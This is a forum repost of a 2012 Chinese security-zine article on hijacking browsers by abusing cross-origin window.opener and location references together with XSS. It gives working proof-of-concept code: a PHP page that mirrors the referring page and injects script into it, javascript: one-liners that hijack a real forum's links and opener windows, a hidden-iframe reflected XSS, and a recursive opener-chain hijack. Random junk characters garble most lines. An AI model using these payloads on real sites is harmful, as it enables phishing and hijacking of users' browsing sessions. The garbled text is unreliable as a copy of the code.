找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1798|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
                           ==Ph4nt0m Security Team==+ e2 @4 ~9 y9 X9 h3 a# }, q! b

9 b* E! H5 s( C( [                       Issue 0x03, Phile #0x05 of 0x07$ Q$ w% D# M# a: E9 R+ v# u

8 \% d& c5 }4 v/ N4 n5 h' P& [1 B% Z5 W/ M
|=---------------------------------------------------------------------------=|8 O9 ?, M1 Y( o) T$ Y5 k  Z! O2 Q( ?  x) i
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
3 r6 e! N" _- o; k|=---------------------------------------------------------------------------=|
4 n; s( \# ^" F/ P3 [6 h|=---------------------------------------------------------------------------=|
' }7 d( i) i& c|=------------------------=[      By rayh4c     ]=---------------------------=|. F  W) }- m, o! n  J6 q4 @5 z) j
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|5 t# l! M( d" e- a' m
|=---------------------------------------------------------------------------=|% ]5 M" r# O+ P. B, V$ e8 J$ [

4 j. f/ {9 ^' @( d8 C6 f
: j& S# _& R5 w4 Z1 K3 w) R8 W  J; e. w  a[目录]
' Z+ R$ O/ u4 B; g0 S) E% s1 a# H& J2 V; M+ T0 m
1. 前言
7 C5 x& y& e# D) v# ^2. 同源策略简叙$ z# m* _9 }' P, T* ~2 |
3. 理解window对象的同源策略
' b2 `( l! w- Z3 |- h" ~4. 窗口引用功能中的同源策略漏洞
5 x6 f4 Y) Y% S  4.1 父窗口引用子窗口的同源策略问题
" _2 j( l( o: @9 M/ W. M% {  4.2 子窗口引用父窗口的同源策略问题$ E! z9 b" p8 O2 I1 f
5. 利用窗口引用漏洞劫持浏览器
+ e0 @9 }# d$ q: b) @6. 利用XSS漏洞劫持浏览器
2 K; d: c$ E- n; B( }( F$ D  6.1 正向跨窗口劫持0 A/ C% A7 u! l* |% p& O% N
  6.2 反向跨窗口劫持
/ v* y  t3 x% j( r/ a( t, N# ^  6.3 极度危险的跨框架窗口引用劫持
' N9 l1 p  t- T  6.4 极度危险的正反向跨窗口递归劫持( `7 m' l# _3 Y6 w" y0 p. ^" s
  6.5 完全控制浏览器
5 g' O, ~+ v. i5 z7. 后记
, z5 Z; @' h2 B2 x+ K0 W% A8. 参考2 o6 M1 d1 a  _8 h$ c
$ p3 Q' Q) F5 y0 y# ^; ~- i- z
5 A- D& R! W" t7 b, l& c2 S+ l  ]
一、前言
% d4 `2 v, x; d% x* w% X2 M! R
: S& a# H% c' k9 e/ u- H    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
( `! r- H- ]4 Q% z) [' J+ ^, a2 @友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session6 J7 f# d/ r3 x
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被! V& n, i# Z1 l1 J4 e9 v' I: P" _6 W
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
8 m& v8 |3 L" L  p% V
( Y, Y+ ~4 y) E9 l" `2 W# Z6 w
8 F6 `5 N9 R" r$ h* a" d二、同源策略简叙# v2 s/ q) ^& v+ f6 G4 `2 h" l9 \5 @

$ }3 [  e' [; @% Z    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以( ~; T9 x2 l' a7 q
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都8 U0 b2 @  O# N: B0 n, X1 u
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
: N4 ^) |& G  i马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
1 I9 t2 J/ Y; D漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。- d/ A0 y9 n6 O3 b

: @% E; l( m) v" s, p  P6 K8 h4 V5 g% h# [: d; Q6 v! Q2 J
三、理解window对象的同源策略
& _0 Y9 o3 a9 e5 ]
+ j' J( K+ p( F1 {2 a- w    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
: h0 v! J% \" ]# X: P& O- o象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
0 Q& H4 ~, x) J- W0 q) f, m$ s6 C* O8 c2 R% i
--code-------------------------------------------------------------------------
  X) H' U, @+ z" e% I<script language="javascript">5 |7 @' o6 p! w) h+ @6 {! o* A
for(p in window) document.write(p+"<br>");
9 W, M' k, y8 V* Z</script>& f( u5 I/ U! G7 N
-------------------------------------------------------------------------------" |3 p$ x6 K; c# `0 W& n
' m( O) l- c7 {" A; ~
    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方+ |7 ?+ v; t0 N8 d7 f
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
( r. n: ?4 t' C! j$ u/ L. P2 d& x这些属性和方法就必须遵循同源策略。$ U0 X- E6 L& w2 J

2 H) E- Q7 D: {5 {    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
5 I4 E1 V& Q8 G/ q7 Y( p+ l么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
5 V5 `; x, s0 C5 ]' g的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
; j4 s3 X1 R+ z个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
: B+ r% t4 t3 R值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
7 F9 y6 o9 n% V7 C  }7 F; P) n% ]属性并没有被拒绝访问。+ W: o8 z0 e# a4 _$ U

& M. d0 X8 s% T$ ?  Q--demo.html--------------------------------------------------------------------
: }; J, a6 r- Z  Q<script language="javascript">   
5 W# M: t6 y+ a$ f" Sfunction allPrpos(obj) {      
( u$ H5 T" z2 x! B5 n  P6 p/ D      var props = "<table><tr><td>名称</td><td>值</td>";           1 t% h9 Q* W3 I2 x: S) x
      for(var p in obj){          . s2 x8 r3 Z: A% ]: z
            if(typeof(obj[p])=="function"){   
! R7 J; O, h; i4 C  D                   obj[p]();   
& L" h5 u( F7 R. {) M             }else{                      7 |, `9 o7 N9 H; B
                  try   3 k( [8 r3 O' P
                   {   
. \/ A% K5 u' Q                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   8 [( [1 ^0 u( v/ A: T
                   }   ! y" k0 o8 I+ S9 f" A  I; D
                  catch (ex)   ; J! N8 `1 T, O
                   {   
% B3 U' k6 X9 J) l                   4 G- Z( p0 `: N0 r: `! j2 `9 W. ]
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   
& r; T3 J3 C& T7 R; K7 d: A* q                   }   ) E* `1 Q9 E8 z
                       
9 g: c2 m7 R3 n: g+ C7 f             }   + p# }" I9 n( m% |/ n
       }   6 m* e, ?# [; U2 K! Z
   + _; W9 V6 C6 M4 g9 v- i, ]
       document.write(props+"</table>");     Q+ U$ ^% c! m+ ]" p$ x5 n
}   : P- T) l8 A, }: M" P/ k' }  S
   
: V& V) B  G2 k9 ]function createWin() {
% Z- K$ p6 y1 b        newWin = window.open ("http://www.google.com");  
1 m6 A( P1 Z  d, p3 }        setTimeout(function(){allPrpos(newWin)},2000);
: V. J; W' B5 N5 }( G; F}
6 j: m4 y! B, z" y6 F1 k" r: j& t3 h; ~# y: n+ y% C
</script> ! ?% C2 |2 a3 Y7 y" I

3 @; L0 a" ~- q! \, a<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 c6 t" T% w. W; \, j$ d-------------------------------------------------------------------------------+ p' u. O% B/ u! U- U; C
1 i* E$ s6 N$ S2 {% y
/ s" z- `  S7 Q' h6 y1 h% r
四、窗口引用功能中的同源策略漏洞/ I6 \, j, b0 w

, x$ R' P5 C. a0 ^& t4.1 父窗口引用子窗口的同源策略问题2 z4 E- i" e, A$ j$ H% p& ]

9 Z5 L4 [+ s* S1 f' K    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,, {7 B3 D+ G8 f& y$ D2 j1 i
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
( y7 _+ c& q* L3 e0 \; y9 p  E6 b浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
8 r7 D$ o/ g1 J+ o2 M. F行测试,会发现父窗口可以控制非同源子窗口location属性值。
* J6 s( z2 G7 a9 I5 ?" l/ o- s% D8 Y, C1 m) g
--vul1.html--------------------------------------------------------------------
! R. R  t! y. {( M( M<script language="javascript"> , e/ s7 j2 J, Z* e/ T- N/ G
function createWin() {  
& h  L3 O0 ]! ~0 H( b9 \& L        newWin = window.open ("http://www.google.com");  : |* R7 B! r0 m! C
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); % E) C3 b5 Y: v2 O% Z2 h) l
}
1 [9 T+ I3 P+ q# z' ]6 U+ T</script>
. V( }) S; o5 i; j0 T7 f2 V8 m& q/ u. J: @( w% }9 D1 f% ]* ?. r( A
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
. X: A0 ?- |/ D" }-------------------------------------------------------------------------------
! S' X  [+ B3 v2 d: p
# G6 a6 Q+ O$ W- ]
3 E! f6 C% A4 l$ r4.2 子窗口引用父窗口的同源策略问题  I  J9 E7 P/ n% t  {" W: l

5 m+ w1 |* c% ~1 t4 f& h    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使+ {2 G9 I9 d0 \
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
. ^$ z9 d' \  U1 J& `9 b( c可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定2 E4 _5 l7 A, B1 w" l
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
$ C- N* U2 Y6 ]0 I8 l) L$ P0 E$ _! G$ L( X% _, L( M- S5 z
--code-------------------------------------------------------------------------
  K6 J; g" @# D- M! P& o( F+ E
& S5 w9 ?" u$ z& \7 Sjavascript:window.opener.location = "http://www.80sec.com";void(0);
  Q- l1 ^- F7 u2 L0 B$ X9 [" `$ L* Y" ]' ^
-------------------------------------------------------------------------------
; O- [7 i3 W6 x' c7 [3 H! t  q+ w0 H8 j1 [9 D. _: _  p4 k) u# T
' d) J5 y* K+ p; q
五、利用窗口引用漏洞劫持浏览器
/ t0 R8 F+ K( {
) w) ]$ K2 d+ X& o# A+ _4 _5 n' C    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
% l1 [7 Y/ F1 U- Y: `: v窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那6 Q4 Z5 ~% K9 T. v1 W
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。8 N2 ?0 L! @3 u! ^- o2 ^

( F# t8 u: \/ Z1 L9 X- P    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产5 b% v, G. W! Z2 t0 f# d
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
$ S( p4 i) K+ N9 ]者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
0 ]9 K+ }7 i6 D6 ?后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
" w/ F0 I! q2 x3 w会产生什么可怕的后果。
# T; b; e. F( o6 \5 r8 a. f2 u3 _& {2 n1 k
    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
* U( P' P; B: b- e, h& z8 w" [2 P: R们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
* h8 [& `! v2 T. K4 w( ]* f这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
0 I- d5 p* L7 `; e& [/ |( k" s( B& w候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可$ T. d4 x, I: V7 `4 I' i
以做更多的事情,所有的一切仅仅是因为点击了一个链接。$ D/ p9 F! K: C4 v) W

9 I) L# j9 ?! C; i. H--hjk_ref.php------------------------------------------------------------------& ^, T$ ]( V3 {1 W
<?php0 k; @" U% F" k4 p$ T, ?9 e" I
if (array_key_exists("HTTP_REFERER", $_SERVER)) {8 c1 f) Y7 R0 j# `3 f
$Url_Mirror = $_SERVER["HTTP_REFERER"];
2 ]0 H, `( ]9 J& {2 g* q: b/ T}
3 e+ T8 R6 v: y# }/ a4 \) xif(isset ($_GET['ref'])) {
' Y% w, `& Z+ ?! P& b  wecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';/ |: D9 _6 z+ {! ^: e3 Y$ h0 g: K
}" p( j; l( [; J' I2 M: I2 W0 g
?>
/ d0 d1 I, ?" `: N/ M! d
; H& \* y8 z6 G) t1 j<script language="javascript">2 e0 y$ ~& }! t: M
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);         8 f- N* U5 s% p+ N; r  v* k+ N% ]) l
</script>
. g( [& r, @+ V, b& e-------------------------------------------------------------------------------/ j" {  E) @$ s9 b$ A1 ?; _

' q* v0 @2 P! _8 F1 k  ^* P$ ^: A+ l1 s    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。% x% p$ M* Q  v. r% J- \1 j
/ B3 i  p& t) k2 @" t: ^

- }+ g# Z/ c6 }" q, p六、利用XSS漏洞劫持浏览器; {2 N8 F5 ?) t$ P/ Q% R
9 p  \% _1 W: R% |) K9 K! t8 `% r
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
& {/ E; m% M5 A  K持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后1 h2 M6 E* O, p/ A& `1 |
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
" k. Q* ^4 P: K3 W$ Y讨论跨站师的终极技巧:& z0 f& Y- c( J$ p3 k- R

2 A* s  M4 D6 ]6 F, h
- B- W2 n. ~$ b* K6.1 正向跨窗口劫持2 ~6 l6 r* f6 i! E% \8 N
3 T( O  B, D, E' |; f- Z
    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
) G8 Q+ s# _9 i, p, D+ f( ?主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
6 i5 e. f- P( D+ k! V/ K, P接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
+ u; w( @" A' {3 `4 A7 z0 b框脚本。
* ~) f2 {+ S5 a6 f- P3 b% J; u  L1 G0 V% J! y
--hijack_open.js---------------------------------------------------------------
% C! V8 b+ g8 ~- ?! X9 J/ D, U5 k; X- n7 y
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
1 D9 }- u4 l( O' |% {2 ]+ n  A9 {7 p* Z. Q. _' z* Q
-------------------------------------------------------------------------------
1 g4 \3 r# R2 y/ y7 v% b5 a1 e
7 x; G4 Y* w7 Q9 b% j3 R
$ R1 H0 V! _% s! G6.2 反向跨窗口劫持
- z0 f8 w% w/ D; ?- Z6 W7 s! T" k6 i, Z, Q
    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
/ Q# g, C; V& N& s' c( g5 O, X. n码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话1 X8 F7 v+ s# a& p1 E
框脚本。
- N* z$ ^& x& [9 O5 X8 v: m' Q" F0 q: Z4 X9 s
--hijack_opener.js-------------------------------------------------------------/ J* @3 L6 s, C: n/ e

! R5 t$ L. k2 @* c1 b2 a( ^javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);9 b, I; m! @  a0 N7 q5 t3 M( v

& u8 f0 ?9 p# m- @$ T# M- G! O" W-------------------------------------------------------------------------------
" x  k# Q+ j' h+ t) m8 M- e/ e
- y1 O8 w# \& L" B, ?$ U# k3 i
6.3 极度危险的跨框架窗口引用劫持
  o8 \" J  U# a% I9 Q  B% X3 A$ ?/ P4 X# o  H$ u* F( Q# b* z* w
    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞- W5 ]0 B  D$ n/ m& X' i
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
5 d+ `8 m  S8 A4 k- }6 }3 K适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
; W, T! v; G/ j7 o/ X非持久型的XSS,如下:- P6 ?) y7 j- }! R; R1 Y  L$ h7 D

2 ^" |% B+ ?) F6 K5 A<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
/ x6 ^  w$ a0 a/ y  ~; \5 t
! p0 r) d7 r, k6 N2 y) n    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
5 q& A* w5 Y6 X; n" e9 N5 u8 B/ a- f8 @注入脚本。7 m/ g; K) g  S) y
0 k7 Z7 ]/ P' Q; v! v+ [" F0 H
--hijack_frame_opener.js-------------------------------------------------------6 W& ]$ E6 ^2 f
<script>
' a4 T+ K4 o  u0 cwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
# h# G# Y. L( F. D$ |, \8 X/ [# f</script>
0 a, a& {' [. x. W- G+ S$ l-------------------------------------------------------------------------------  o$ C8 u/ M; z! j( h1 I8 J
  [2 ]6 K- b8 M) P

. `) `) k/ ]4 c/ F! {6.4 极度危险的正反向跨窗口递归劫持. ~6 F1 @! `) I, z6 V1 D( K

; ?( F5 O' z& N2 l4 `    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
9 ]0 W% U2 U: y* k, M4 X* o  e4 j9 R的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
5 y" a0 u. C7 {7 }% K异常处理规避之间跨域页面的访问异常,代码如下:  y8 o* s& i, e3 }: w' Q% j! A0 a% }& K
" I3 ~+ E; l4 T$ U; c# X
--code-------------------------------------------------------------------------6 v( l! Z' Z3 }3 H' x) T% @7 a. I
6 ]! A. m8 a) D- x' ^1 R* {8 ]6 e
javascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);2 o! N4 [2 y$ F# X
5 y5 z* l& `/ e- P8 {0 a5 q) r) k, B) x
-------------------------------------------------------------------------------0 ]2 [$ \# H* u$ e9 w4 T1 p
) p  @# `( p; z9 P+ C
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
' W2 c+ [- _2 m& T% _以劫持B域之前的A域页面,从而实现“隔空打击”。
7 F: O5 C% d7 `) f/ i: p
& ]! G. L( ]1 B4 y7 E2 ^    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面3 N& y: K9 T" g8 I% D
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。" H" c# v' T  d; w

# B  g' D/ S  X* B2 a: T    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。6 _; w8 R9 W, \+ Z  x/ N
$ U" ]. P8 }/ B! K8 }6 F
4 Q- j1 `1 e) g7 r1 b% t
6.5 完全控制浏览器
6 t5 n: E+ V: p0 D# e. \! ^, b* R7 {* E
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则: s6 _: W; [( h+ {3 E
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS2 Z' ^, l& O3 w4 ^8 ?
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
8 m. m5 ?8 u) D6 B- U# C- C而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再, O6 ?" ]; @9 |, b& U1 b. w, }3 M' t
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站% l+ @- n, t9 ?
师的终极目标 - 完全控制浏览器。0 T7 X0 N* v: P- d$ M7 e; i

& a0 j6 d$ X" @( b# |9 Y! F2 w6 `% `- l
七、后记
% E; N/ n+ R+ k4 t2 {" y. M- _/ K' Y' d' N+ M2 R$ X6 t
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全0 `/ {4 z5 g4 w% O6 |$ r+ h
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
6 X7 Y6 A& d: U! M8 T5 V过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
* k$ E0 D+ w; Y* ^. h8 g. V/ n8 q& p0 L, ]1 L* R

1 c8 K% j2 d0 X% O八、参考
+ [$ n6 `$ }( }: `: z. k
6 f# j# M8 J* E1 c6 ^# p; _$ U1. http://en.wikipedia.org/wiki/Same_origin_policy8 U/ Z7 M+ h) t; Y( P6 w
2. http://code.google.com/p/browser ... licy_for_DOM_access
5 U4 t* x  i& R# z" x, ]5 x; h( s3. http://www.w3.org/TR/Window/2 J) F" G( B9 b) x% h0 v" }  e% Q
4. http://www.80sec.com/release/browser-hijacking.txt
2 d4 Y4 }' n# A, l9 p8 Q5. http://www.80sec.com/all-browser-security-alert.html, d6 H. e2 L0 W. k
6. http://www.80sec.com/ms08-058-attacks-google.html% D! C% H# C" X, b% b! @

, v" \: g( a& z) y: |. M& g, o-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表